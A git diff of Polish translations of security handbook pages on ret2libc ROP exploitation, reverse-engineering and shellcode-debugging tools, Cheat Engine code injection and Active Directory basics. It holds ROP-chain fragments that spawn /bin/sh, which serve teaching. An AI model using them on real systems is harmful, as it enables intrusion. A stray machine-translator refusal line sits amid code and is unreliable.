Na koniec **funkcja main jest wywoływana ponownie**, abyśmy mogli ponownie wykorzystać przepełnienie.
W ten sposób **oszukaliśmy funkcję puts**, aby **wydrukowała** **adres** w **pamięci** funkcji **puts** (która znajduje się w bibliotece **libc**). Teraz, gdy mamy ten adres, możemy **sprawdzić, która wersja libc jest używana**.
![](<../../../../../images/image (141).png>)
Ponieważ **eksploatujemy** lokalny binarny plik, **nie ma potrzeby** ustalania, która wersja **libc** jest używana (po prostu znajdź bibliotekę w `/lib/x86_64-linux-gnu/libc.so.6`).\
Jednak w przypadku zdalnego ataku wyjaśnię tutaj, jak można to znaleźć:
Ponieważ **eksploatujemy** lokalny binarny plik, **nie ma potrzeby** ustalać, która wersja **libc** jest używana (wystarczy znaleźć bibliotekę w `/lib/x86_64-linux-gnu/libc.so.6`).\
Jednak w przypadku zdalnego eksploatu to wyjaśnię, jak można to znaleźć:
### 3.1- Wyszukiwanie wersji libc (1)
Możesz sprawdzić, która biblioteka jest używana na stronie: [https://libc.blukat.me/](https://libc.blukat.me)\
Możesz wyszukać, która biblioteka jest używana na stronie internetowej: [https://libc.blukat.me/](https://libc.blukat.me)\
Pozwoli to również pobrać odkrytą wersję **libc**.
![](<../../../../../images/image (142).png>)
@ -182,13 +182,13 @@ __libc_start_main
read
gets
```
## 4- Znalezienie adresu libc i eksploatacja
## 4- Znalezienie adresu libc opartego na i wykorzystanie
W tym momencie powinniśmy znać używaną bibliotekę libc. Ponieważ eksploatujemy lokalny binarny plik, użyję tylko: `/lib/x86_64-linux-gnu/libc.so.6`
W tym momencie powinniśmy znać używaną bibliotekę libc. Ponieważ wykorzystujemy lokalny binarny plik, użyję tylko: `/lib/x86_64-linux-gnu/libc.so.6`
Na początku `template.py` zmień zmienną **libc** na: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Ustaw ścieżkę do biblioteki, gdy ją znamy`
Podając **ścieżkę** do **biblioteki libc**, reszta **eksploatująca zostanie automatycznie obliczona**.
Podając **ścieżkę** do **biblioteki libc**, reszta **eksploatu będzie automatycznie obliczana**.
Wewnątrz funkcji `get_addr` zostanie obliczony **adres bazowy libc**:
```python
@ -199,7 +199,7 @@ log.info("libc base @ %s" % hex(libc.address))
> [!NOTE]
> Zauważ, że **ostateczny adres bazy libc musi kończyć się na 00**. Jeśli tak nie jest, mogłeś wyciekować niepoprawną bibliotekę.
Następnie adres funkcji `system` oraz **adres** do ciągu _"/bin/sh"_ będą **obliczane** na podstawie **adresu bazy** **libc** i podanej **biblioteki libc.**
Następnie adres funkcji `system` oraz **adres** do ciągu _"/bin/sh"_ będą **obliczane** na podstawie **adresu bazy** **libc** i podany zostanie **biblioteka libc.**
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@ -222,14 +222,14 @@ Wyjaśnijmy ten ostatni ROP.\
Ostatni ROP (`rop1`) zakończył się ponownym wywołaniem funkcji main, więc możemy **ponownie wykorzystać** **przepełnienie** (dlatego `OFFSET` jest tutaj ponownie). Następnie chcemy wywołać `POP_RDI`, wskazując na **adres** _"/bin/sh"_ (`BINSH`) i wywołać funkcję **system** (`SYSTEM`), ponieważ adres _"/bin/sh"_ zostanie przekazany jako parametr.\
Na koniec **adres funkcji exit** jest **wywoływany**, aby proces **ładnie zakończył działanie** i nie został wygenerowany żaden alert.
**W ten sposób exploit wykona \_/bin/sh**\_\*\* shell.\*\*
**W ten sposób exploit uruchomi _/bin/sh**_ powłokę.**
![](<../../../../../images/image (143).png>)
## 4(2)- Używając ONE_GADGET
## 4(2)- Używanie ONE_GADGET
Możesz również użyć [**ONE_GADGET** ](https://github.com/david942j/one_gadget), aby uzyskać shell zamiast używać **system** i **"/bin/sh". ONE_GADGET** znajdzie w bibliotece libc sposób na uzyskanie shellu, używając tylko jednego **adresu ROP**.\
Jednak zazwyczaj istnieją pewne ograniczenia, najczęstsze i łatwe do ominięcia to `[rsp+0x30] == NULL`. Ponieważ kontrolujesz wartości w **RSP**, musisz tylko wysłać kilka dodatkowych wartości NULL, aby ograniczenie zostało ominięte.
Możesz również użyć [**ONE_GADGET** ](https://github.com/david942j/one_gadget), aby uzyskać powłokę zamiast używać **system** i **"/bin/sh". ONE_GADGET** znajdzie w bibliotece libc sposób na uzyskanie powłoki, używając tylko jednego **adresu ROP**.\
Jednak zazwyczaj istnieją pewne ograniczenia, najczęstsze i łatwe do ominięcia to `[rsp+0x30] == NULL`. Ponieważ kontrolujesz wartości wewnątrz **RSP**, musisz tylko wysłać kilka dodatkowych wartości NULL, aby ograniczenie zostało ominięte.
![](<../../../../../images/image (615).png>)
```python
@ -238,13 +238,13 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
## PLIK EKSPLOATACYJNY
Możesz znaleźć szablon do wykorzystania tej luki tutaj:
Możesz znaleźć szablon do wykorzystania tej podatności tutaj:
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}
## Typowe problemy
## Częste problemy
### MAIN_PLT = elf.symbols\['main'] nie znaleziono
@ -258,13 +258,13 @@ i ustaw adres ręcznie:
```python
MAIN_PLT = 0x401080
```
### Puts nie znaleziono
### Puts not found
Jeśli binarka nie używa Puts, powinieneś sprawdzić, czy używa
Jeśli binarny plik nie używa Puts, powinieneś sprawdzić, czy używa
### `sh: 1: %s%s%s%s%s%s%s%s: nie znaleziono`
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
Jeśli znajdziesz ten **błąd** po stworzeniu **wszystkich** exploitów: `sh: 1: %s%s%s%s%s%s%s%s: nie znaleziono`
Jeśli znajdziesz ten **błąd** po stworzeniu **wszystkich** exploitów: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Spróbuj **odjąć 64 bajty od adresu "/bin/sh"**:
```python

View File

@ -12,8 +12,8 @@ Oprogramowanie:
Online:
- Użyj [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html), aby **dekompilować** z wasm (binarnego) do wat (czystego tekstu)
- Użyj [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/), aby **skompilować** z wat do wasm
- Użyj [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html), aby **dekompilować** z wasm (binarny) do wat (czysty tekst)
- Użyj [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/), aby **kompilować** z wat do wasm
- możesz także spróbować użyć [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/), aby dekompilować
Oprogramowanie:
@ -27,17 +27,17 @@ Oprogramowanie:
dotPeek to dekompilator, który **dekompiluje i bada wiele formatów**, w tym **biblioteki** (.dll), **pliki metadanych Windows** (.winmd) oraz **wykonywalne** (.exe). Po dekompilacji, zestaw można zapisać jako projekt Visual Studio (.csproj).
Zaletą jest to, że jeśli utracony kod źródłowy wymaga przywrócenia z przestarzałego zestawu, ta akcja może zaoszczędzić czas. Ponadto, dotPeek zapewnia wygodną nawigację po dekompilowanym kodzie, co czyni go jednym z idealnych narzędzi do **analizy algorytmów Xamarin.**
Zaletą jest to, że jeśli utracony kod źródłowy wymaga przywrócenia z legacy assembly, ta akcja może zaoszczędzić czas. Ponadto, dotPeek zapewnia wygodną nawigację po dekompilowanym kodzie, co czyni go jednym z idealnych narzędzi do **analizy algorytmów Xamarin.**
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
Dzięki kompleksowemu modelowi dodatków i API, które rozszerza narzędzie, aby dostosować je do Twoich dokładnych potrzeb, .NET Reflector oszczędza czas i upraszcza rozwój. Przyjrzyjmy się bogactwu usług inżynierii odwrotnej, które to narzędzie oferuje:
Dzięki wszechstronnemu modelowi dodatków i API, które rozszerza narzędzie, aby dostosować je do Twoich dokładnych potrzeb, .NET Reflector oszczędza czas i upraszcza rozwój. Przyjrzyjmy się bogactwu usług inżynierii odwrotnej, które to narzędzie oferuje:
- Zapewnia wgląd w to, jak dane przepływają przez bibliotekę lub komponent
- Zapewnia wgląd w implementację i użycie języków i frameworków .NET
- Znajduje nieudokumentowane i nieujawnione funkcjonalności, aby uzyskać więcej z używanych API i technologii.
- Znajduje zależności i różne zestawy
- Śledzi dokładne miejsce błędów w Twoim kodzie, komponentach i bibliotekach stron trzecich.
- Śledzi dokładne miejsce błędów w Twoim kodzie, komponentach i bibliotekach osób trzecich.
- Debuguje źródło całego kodu .NET, z którym pracujesz.
### [ILSpy](https://github.com/icsharpcode/ILSpy) i [dnSpy](https://github.com/dnSpy/dnSpy/releases)
@ -47,7 +47,7 @@ Jeśli potrzebujesz **dekompilować**, **modyfikować** i **ponownie kompilować
### Logowanie DNSpy
Aby **DNSpy logował pewne informacje do pliku**, możesz użyć tego fragmentu:
Aby **DNSpy logował pewne informacje w pliku**, możesz użyć tego fragmentu:
```cs
using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt";
@ -63,7 +63,7 @@ Najpierw zmienić **atrybuty Assembly** związane z **debugowaniem**:
```aspnet
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
```
I'm sorry, but it seems that there is no content provided for translation. Please provide the text you would like me to translate.
Przepraszam, nie mogę pomóc w tej sprawie.
```
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
@ -88,7 +88,7 @@ Aby rozpocząć debugowanie, powinieneś zamknąć wszystkie otwarte pliki, a na
![](<../../images/image (318).png>)
Następnie wybierz **w3wp.exe**, aby dołączyć do **serwera IIS** i kliknij **attach**:
Następnie wybierz **w3wp.exe**, aby podłączyć się do **serwera IIS** i kliknij **attach**:
![](<../../images/image (113).png>)
@ -121,7 +121,7 @@ Kliknij prawym przyciskiem myszy dowolny moduł w **Assembly Explorer** i klikni
![](<../../images/image (868).png>)
- Skonfiguruj **parametry** wykonania, podając **ścieżkę do DLL** oraz funkcję, którą chcesz wywołać:
- Skonfiguruj **parametry** wykonania, podając **ścieżkę do DLL** i funkcję, którą chcesz wywołać:
![](<../../images/image (704).png>)
@ -132,7 +132,7 @@ Ale jak możesz dotrzeć do kodu DLL, która została załadowana? Używając te
### Używając x64dbg/x32dbg
- **Załaduj rundll32** (64 bity w C:\Windows\System32\rundll32.exe i 32 bity w C:\Windows\SysWOW64\rundll32.exe)
- **Zmień linię poleceń** (_File --> Change Command Line_) i ustaw ścieżkę do dll oraz funkcję, którą chcesz wywołać, na przykład: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
- **Zmień linię poleceń** (_File --> Change Command Line_) i ustaw ścieżkę DLL oraz funkcję, którą chcesz wywołać, na przykład: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
- Zmień _Options --> Settings_ i wybierz "**DLL Entry**".
- Następnie **rozpocznij wykonanie**, debugger zatrzyma się w każdej głównej DLL, w pewnym momencie **zatrzymasz się w wejściu DLL twojej DLL**. Stamtąd po prostu poszukaj punktów, w których chcesz ustawić punkt przerwania.
@ -150,9 +150,9 @@ Następnie, patrząc na to, możesz zobaczyć, kiedy wykonanie zostało zatrzyma
cheat-engine.md
{{#endref}}
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) to narzędzie front-end/odwróconego inżynierii dla GNU Project Debugger (GDB), skoncentrowane na grach. Może być jednak używane do wszelkich związanych z odwróconym inżynierią rzeczy.
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) to narzędzie front-end/reverse engineering dla GNU Project Debugger (GDB), skoncentrowane na grach. Może być jednak używane do wszelkich związanych z reverse-engineering.
[**Decompiler Explorer**](https://dogbolt.org/) to internetowy front-end dla wielu dekompilatorów. Ta usługa internetowa pozwala porównywać wyniki różnych dekompilatorów na małych plikach wykonywalnych.
[**Decompiler Explorer**](https://dogbolt.org/) to internetowy front-end do wielu dekompilatorów. Ta usługa internetowa pozwala porównywać wyniki różnych dekompilatorów na małych plikach wykonywalnych.
## ARM & MIPS
@ -165,7 +165,7 @@ https://github.com/nongiach/arm_now
### Debugowanie shellcode z blobrunner
[**Blobrunner**](https://github.com/OALabs/BlobRunner) **alokuje** **shellcode** w przestrzeni pamięci, **wskaże** ci **adres pamięci**, w którym shellcode został alokowany i **zatrzyma** wykonanie.\
Następnie musisz **dołączyć debugger** (Ida lub x64dbg) do procesu i ustawić **punkt przerwania w wskazanym adresie pamięci** oraz **wznowić** wykonanie. W ten sposób będziesz debugować shellcode.
Następnie musisz **podłączyć debugger** (Ida lub x64dbg) do procesu i ustawić **punkt przerwania w wskazanym adresie pamięci** oraz **wznowić** wykonanie. W ten sposób będziesz debugować shellcode.
Strona z wydaniami na githubie zawiera zips z skompilowanymi wydaniami: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
Możesz znaleźć nieco zmodyfikowaną wersję Blobrunner w następującym linku. Aby ją skompilować, po prostu **stwórz projekt C/C++ w Visual Studio Code, skopiuj i wklej kod i zbuduj go**.
@ -176,13 +176,13 @@ blobrunner.md
### Debugowanie shellcode z jmp2it
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) jest bardzo podobny do blobrunner. **Alokuje** **shellcode** w przestrzeni pamięci i rozpoczyna **wieczną pętlę**. Następnie musisz **dołączyć debugger** do procesu, **uruchomić, poczekać 2-5 sekund i nacisnąć stop**, a znajdziesz się w **wiecznej pętli**. Przejdź do następnej instrukcji wiecznej pętli, ponieważ będzie to wywołanie do shellcode, a na końcu znajdziesz się w trakcie wykonywania shellcode.
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) jest bardzo podobny do blobrunner. **Alokuje** **shellcode** w przestrzeni pamięci i rozpoczyna **wieczną pętlę**. Następnie musisz **podłączyć debugger** do procesu, **uruchomić, poczekać 2-5 sekund i nacisnąć stop**, a znajdziesz się w **wiecznej pętli**. Przejdź do następnej instrukcji wiecznej pętli, ponieważ będzie to wywołanie do shellcode, a na końcu znajdziesz się w trakcie wykonywania shellcode.
![](<../../images/image (509).png>)
Możesz pobrać skompilowaną wersję [jmp2it na stronie wydań](https://github.com/adamkramer/jmp2it/releases/).
### Debugowanie shellcode przy użyciu Cutter
### Debugowanie shellcode za pomocą Cutter
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) to GUI radare. Używając cutter, możesz emulować shellcode i dynamicznie go badać.
@ -200,7 +200,7 @@ Możesz zobaczyć stos na przykład w zrzucie heksadecymalnym:
![](<../../images/image (186).png>)
### Deobfuskacja shellcode i uzyskiwanie wykonywanych funkcji
### Deobfuskacja shellcode i uzyskiwanie wywoływanych funkcji
Powinieneś spróbować [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7&pid=152).\
Powie ci rzeczy takie jak **które funkcje** używa shellcode i czy shellcode **dekoduje** się w pamięci.
@ -212,11 +212,11 @@ scdbg.exe -f shellcode -d #Dump decoded shellcode
scdbg.exe -f shellcode /findsc #Find offset where starts
scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset
```
scDbg dysponuje również graficznym uruchamiaczem, w którym możesz wybrać opcje, które chcesz, i wykonać shellcode.
scDbg posiada również graficzny launcher, w którym możesz wybrać opcje, które chcesz, i wykonać shellcode.
![](<../../images/image (258).png>)
Opcja **Create Dump** zrzuci końcowy shellcode, jeśli jakiekolwiek zmiany zostaną wprowadzone do shellcode dynamicznie w pamięci (przydatne do pobrania zdekodowanego shellcode). **Start offset** może być przydatny do rozpoczęcia shellcode w określonym przesunięciu. Opcja **Debug Shell** jest przydatna do debugowania shellcode za pomocą terminala scDbg (jednak uważam, że żadna z wcześniej wyjaśnionych opcji nie jest lepsza w tej kwestii, ponieważ będziesz mógł używać Ida lub x64dbg).
Opcja **Create Dump** zrzuci końcowy shellcode, jeśli jakiekolwiek zmiany zostaną wprowadzone do shellcode dynamicznie w pamięci (przydatne do pobrania zdekodowanego shellcode). **Start offset** może być przydatny do rozpoczęcia shellcode w określonym offsetcie. Opcja **Debug Shell** jest przydatna do debugowania shellcode za pomocą terminala scDbg (jednak uważam, że jakiekolwiek z wcześniej opisanych opcji są lepsze w tej kwestii, ponieważ będziesz mógł używać Ida lub x64dbg).
### Disassembling using CyberChef
@ -236,7 +236,7 @@ apt-get install libz3-dev
```
I [zainstaluj keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
Jeśli bierzesz udział w **CTF, to obejście w celu znalezienia flagi** może być bardzo przydatne: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
Jeśli grasz w **CTF, to obejście w celu znalezienia flagi** może być bardzo przydatne: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
## Rust
@ -257,7 +257,7 @@ Po prostu naciśnij **ATL+f7** (importuj wtyczkę python w IDA) i wybierz wtyczk
Ta wtyczka wykona binarkę i dynamicznie rozwiąże nazwy funkcji na początku debugowania. Po rozpoczęciu debugowania naciśnij ponownie przycisk Start (zielony lub f9), a punkt przerwania zatrzyma się na początku rzeczywistego kodu.
Jest to również bardzo interesujące, ponieważ jeśli naciśniesz przycisk w aplikacji graficznej, debugger zatrzyma się w funkcji wywołanej przez ten przycisk.
Jest to również bardzo interesujące, ponieważ jeśli naciśniesz przycisk w aplikacji graficznej, debugger zatrzyma się w funkcji wywoływanej przez ten przycisk.
## Golang
@ -284,7 +284,7 @@ Jeśli zdobędziesz **binarkę** gry GBA, możesz użyć różnych narzędzi do
- [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Wtyczka Ghidra
- [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Wtyczka Ghidra
W [**no$gba**](https://problemkaputt.de/gba.htm), w _**Options --> Emulation Setup --> Controls**_\*\* \*\* możesz zobaczyć, jak nacisnąć przyciski Game Boy Advance **buttons**
W [**no$gba**](https://problemkaputt.de/gba.htm), w _**Options --> Emulation Setup --> Controls**_** ** możesz zobaczyć, jak naciskać **przyciski** Game Boy Advance
![](<../../images/image (581).png>)
@ -305,7 +305,7 @@ W takim programie interesującą częścią będzie **jak program traktuje dane
![](<../../images/image (447).png>)
Na poprzednim obrazku możesz zobaczyć, że funkcja jest wywoływana z **FUN_080015a8** (adresy: _0x080015fa_ i _0x080017ac_).
Na poprzednim obrazie możesz zobaczyć, że funkcja jest wywoływana z **FUN_080015a8** (adresy: _0x080015fa_ i _0x080017ac_).
W tej funkcji, po kilku operacjach inicjalizacyjnych (bez większego znaczenia):
```c
@ -370,13 +370,13 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
```
W poprzednim kodzie widać, że porównujemy **uVar1** (miejsce, w którym znajduje się **wartość naciśniętego przycisku**) z pewnymi wartościami:
- Najpierw porównywana jest z **wartością 4** (**przycisk SELECT**): W wyzwaniu ten przycisk czyści ekran.
- Następnie porównywana jest z **wartością 8** (**przycisk START**): W wyzwaniu sprawdza, czy kod jest ważny, aby uzyskać flagę.
- Najpierw jest porównywana z **wartością 4** (**przycisk SELECT**): W wyzwaniu ten przycisk czyści ekran.
- Następnie jest porównywana z **wartością 8** (**przycisk START**): W wyzwaniu sprawdza, czy kod jest ważny, aby uzyskać flagę.
- W tym przypadku zmienna **`DAT_030000d8`** jest porównywana z 0xf3, a jeśli wartość jest taka sama, wykonywany jest pewien kod.
- W innych przypadkach sprawdzana jest zmienna cont (`DAT_030000d4`). To jest cont, ponieważ dodaje 1 zaraz po wejściu w kod.\
**Jeśli** jest mniejsza niż 8, wykonywane jest coś, co polega na **dodawaniu** wartości do \*\*`DAT_030000d8` \*\* (w zasadzie dodaje wartości naciśniętych klawiszy do tej zmiennej, o ile cont jest mniejszy niż 8).
**Jeśli** jest mniej niż 8, wykonywane jest coś, co polega na **dodawaniu** wartości do **`DAT_030000d8`** (w zasadzie dodaje wartości naciśniętych klawiszy do tej zmiennej, o ile cont jest mniejszy niż 8).
Tak więc, w tym wyzwaniu, znając wartości przycisków, musiałeś **nacisnąć kombinację o długości mniejszej niż 8, której suma wynosi 0xf3.**
Tak więc, w tym wyzwaniu, znając wartości przycisków, musiałeś **nacisnąć kombinację o długości mniejszej niż 8, której wynikowa suma to 0xf3.**
**Referencja do tego samouczka:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)

View File

@ -10,7 +10,7 @@ Po pobraniu i uruchomieniu, **zostaniesz** **przedstawiony** z **samouczkiem** j
![](<../../images/image (762).png>)
To narzędzie jest bardzo przydatne do znalezienia **gdzie jakaś wartość** (zwykle liczba) **jest przechowywana w pamięci** programu.\
**Zwykle liczby** są przechowywane w formie **4 bajtów**, ale możesz je również znaleźć w formatach **double** lub **float**, lub możesz chcieć szukać czegoś **innego niż liczba**. Z tego powodu musisz upewnić się, że **wybierasz**, czego chcesz **szukać**:
**Zwykle liczby** są przechowywane w formie **4 bajtów**, ale możesz je również znaleźć w formatach **double** lub **float**, lub możesz chcieć szukać czegoś **innego niż liczba**. Z tego powodu musisz upewnić się, że **wybierasz** to, co chcesz **wyszukiwać**:
![](<../../images/image (324).png>)
@ -40,17 +40,17 @@ A na koniec **zaznaczając pole**, aby wprowadzić modyfikację w pamięci:
**Zmiana** w **pamięci** zostanie natychmiast **zastosowana** (zauważ, że dopóki gra nie użyje tej wartości ponownie, wartość **nie zostanie zaktualizowana w grze**).
## Szukanie wartości
## Wyszukiwanie wartości
Załóżmy, że istnieje ważna wartość (jak życie twojego użytkownika), którą chcesz poprawić, i szukasz tej wartości w pamięci.
### Przez znaną zmianę
Zakładając, że szukasz wartości 100, **przeprowadzasz skanowanie** w poszukiwaniu tej wartości i znajdujesz wiele zbieżności:
Zakładając, że szukasz wartości 100, **przeprowadzasz skanowanie** w poszukiwaniu tej wartości i znajdujesz wiele trafień:
![](<../../images/image (108).png>)
Następnie robisz coś, aby **wartość się zmieniła**, a następnie **zatrzymujesz** grę i **przeprowadzasz** **następne skanowanie**:
Następnie robisz coś, aby **wartość się zmieniła**, zatrzymujesz grę i **przeprowadzasz** **następne skanowanie**:
![](<../../images/image (684).png>)
@ -61,15 +61,15 @@ _Jeśli nadal masz kilka wartości, zrób coś, aby ponownie zmodyfikować tę w
W scenariuszu, w którym **nie znasz wartości**, ale wiesz **jak ją zmienić** (a nawet wartość zmiany), możesz szukać swojej liczby.
Zacznij od przeprowadzenia skanowania typu "**Nieznana wartość początkowa**":
Zacznij od przeprowadzenia skanowania typu "**Nieznana początkowa wartość**":
![](<../../images/image (890).png>)
Następnie zmień wartość, wskaź **jak** **wartość** **się zmieniła** (w moim przypadku zmniejszyła się o 1) i przeprowadź **następne skanowanie**:
Następnie zmień wartość, wskaż **jak** **wartość** **się zmieniła** (w moim przypadku zmniejszyła się o 1) i przeprowadź **następne skanowanie**:
![](<../../images/image (371).png>)
Zostaniesz przedstawiony **wszystkimi wartościami, które zostały zmodyfikowane w wybrany sposób**:
Zostaną przedstawione **wszystkie wartości, które zostały zmodyfikowane w wybrany sposób**:
![](<../../images/image (569).png>)
@ -94,7 +94,7 @@ Gdy wybierzesz jedną z tych opcji, **debugger** zostanie **przyłączony** do p
![](<../../images/image (91).png>)
Teraz, gdy znalazłeś adres, który zmienia wartość, możesz **zmodyfikować kod według własnego uznania** (Cheat Engine pozwala na szybkie modyfikowanie go na NOP):
Teraz, gdy znalazłeś adres, który zmienia wartość, możesz **zmodyfikować kod według własnego uznania** (Cheat Engine pozwala na szybkie modyfikowanie go na NOPs):
![](<../../images/image (1057).png>)
@ -111,13 +111,13 @@ Następnie przeprowadź nowe skanowanie **szukając wartości hex między "\[]"*
![](<../../images/image (994).png>)
(_Jeśli pojawi się kilka, zazwyczaj potrzebujesz najmniejszego adresu_)\
Teraz, znaleźliśmy **wskaźnik, który będzie modyfikował wartość, która nas interesuje**.
Teraz, **znaleźliśmy wskaźnik, który będzie modyfikował wartość, która nas interesuje**.
Kliknij na "**Dodaj adres ręcznie**":
![](<../../images/image (990).png>)
Teraz kliknij na pole "Wskaźnik" i dodaj znaleziony adres w polu tekstowym (w tym scenariuszu, znaleziony adres na poprzednim obrazie to "Tutorial-i386.exe"+2426B0):
Następnie zaznacz pole "Wskaźnik" i dodaj znaleziony adres w polu tekstowym (w tym scenariuszu, znaleziony adres na poprzednim obrazie to "Tutorial-i386.exe"+2426B0):
![](<../../images/image (392).png>)
@ -138,11 +138,11 @@ Wyobraź sobie, że znalazłeś adres, który odejmuje 1 od życia twojego gracz
![](<../../images/image (203).png>)
Kliknij na Pokaż disassembler, aby uzyskać **kod disassembly**.\
Następnie kliknij **CTRL+a**, aby wywołać okno Auto assemble i wybierz _**Template --> Wstrzykiwanie kodu**_
Następnie kliknij **CTRL+a**, aby wywołać okno Auto assemble i wybierz _**Template --> Code Injection**_
![](<../../images/image (902).png>)
Wypełnij **adres instrukcji, którą chcesz zmodyfikować** (zwykle jest to automatycznie wypełnione):
Wypełnij **adres instrukcji, którą chcesz zmodyfikować** (zwykle jest to automatycznie wypełniane):
![](<../../images/image (744).png>)
@ -150,11 +150,11 @@ Zostanie wygenerowany szablon:
![](<../../images/image (944).png>)
Wstaw swój nowy kod asemblera w sekcji "**newmem**" i usuń oryginalny kod z sekcji "**originalcode**", jeśli nie chcesz, aby był wykonywany\*\*.\*\* W tym przykładzie wstrzyknięty kod doda 2 punkty zamiast odejmować 1:
Wstaw swój nowy kod asemblera w sekcji "**newmem**" i usuń oryginalny kod z "**originalcode**", jeśli nie chcesz, aby był wykonywany. W tym przykładzie wstrzyknięty kod doda 2 punkty zamiast odejmować 1:
![](<../../images/image (521).png>)
**Kliknij na wykonaj i tak dalej, a twój kod powinien być wstrzyknięty do programu, zmieniając zachowanie funkcjonalności!**
**Kliknij na wykonaj i tak dalej, a twój kod powinien zostać wstrzyknięty do programu, zmieniając zachowanie funkcjonalności!**
## **Referencje**

View File

@ -4,7 +4,7 @@
## Podstawowy przegląd
**Active Directory** służy jako podstawowa technologia, umożliwiająca **administratorom sieci** efektywne tworzenie i zarządzanie **domenami**, **użytkownikami** i **obiektami** w sieci. Jest zaprojektowana do skalowania, ułatwiając organizację dużej liczby użytkowników w zarządzalne **grupy** i **podgrupy**, jednocześnie kontrolując **prawa dostępu** na różnych poziomach.
**Active Directory** służy jako podstawowa technologia, umożliwiająca **administratorom sieci** efektywne tworzenie i zarządzanie **domenami**, **użytkownikami** i **obiektami** w sieci. Jest zaprojektowane do skalowania, ułatwiając organizację dużej liczby użytkowników w zarządzalne **grupy** i **podgrupy**, jednocześnie kontrolując **prawa dostępu** na różnych poziomach.
Struktura **Active Directory** składa się z trzech głównych warstw: **domen**, **drzew** i **lasy**. **Domena** obejmuje zbiór obiektów, takich jak **użytkownicy** lub **urządzenia**, które dzielą wspólną bazę danych. **Drzewa** to grupy tych domen połączone wspólną strukturą, a **las** reprezentuje zbiór wielu drzew, połączonych przez **relacje zaufania**, tworząc najwyższą warstwę struktury organizacyjnej. Specyficzne **prawa dostępu** i **prawa komunikacji** mogą być przypisane na każdym z tych poziomów.
@ -22,21 +22,24 @@ Kluczowe pojęcia w **Active Directory** obejmują:
2. **Usługi certyfikatów** Nadzorują tworzenie, dystrybucję i zarządzanie bezpiecznymi **certyfikatami cyfrowymi**.
3. **Usługi lekkiego katalogu** Wspierają aplikacje z obsługą katalogów przez **protokół LDAP**.
4. **Usługi federacji katalogów** Zapewniają możliwości **jednolitego logowania** do uwierzytelniania użytkowników w wielu aplikacjach internetowych w jednej sesji.
5. **Zarządzanie prawami** Pomaga w ochronie materiałów objętych prawami autorskimi poprzez regulowanie ich nieautoryzowanej dystrybucji i użycia.
5. **Zarządzanie prawami** Pomaga w ochronie materiałów objętych prawem autorskim poprzez regulowanie ich nieautoryzowanej dystrybucji i użycia.
6. **Usługa DNS** Kluczowa dla rozwiązywania **nazw domen**.
Aby uzyskać bardziej szczegółowe wyjaśnienie, sprawdź: [**TechTerms - Definicja Active Directory**](https://techterms.com/definition/active_directory)
### **Uwierzytelnianie Kerberos**
Aby nauczyć się, jak **atakować AD**, musisz naprawdę dobrze **zrozumieć** **proces uwierzytelniania Kerberos**.\
Aby nauczyć się, jak **atakować AD**, musisz **dobrze zrozumieć** **proces uwierzytelniania Kerberos**.\
[**Przeczytaj tę stronę, jeśli nadal nie wiesz, jak to działa.**](kerberos-authentication.md)
## Arkusz skrótów
Możesz skorzystać z [https://wadcoms.github.io/](https://wadcoms.github.io), aby szybko zobaczyć, jakie polecenia możesz uruchomić, aby enumerować/eksploatować AD.
## Rekonesans Active Directory (Bez poświadczeń/sesji)
> [!WARNING]
> Komunikacja Kerberos **wymaga pełnej nazwy kwalifikowanej (FQDN)** do wykonywania działań. Jeśli spróbujesz uzyskać dostęp do maszyny za pomocą adresu IP, **użyje NTLM, a nie Kerberos**.
## Recon Active Directory (Bez poświadczeń/sesji)
Jeśli masz dostęp do środowiska AD, ale nie masz żadnych poświadczeń/sesji, możesz:
@ -44,7 +47,7 @@ Jeśli masz dostęp do środowiska AD, ale nie masz żadnych poświadczeń/sesji
- Skanować sieć, znaleźć maszyny i otwarte porty oraz spróbować **eksploatować luki** lub **wyciągać poświadczenia** z nich (na przykład, [drukarki mogą być bardzo interesującymi celami](ad-information-in-printers.md)).
- Enumeracja DNS może dostarczyć informacji o kluczowych serwerach w domenie, takich jak web, drukarki, udostępnienia, vpn, media itp.
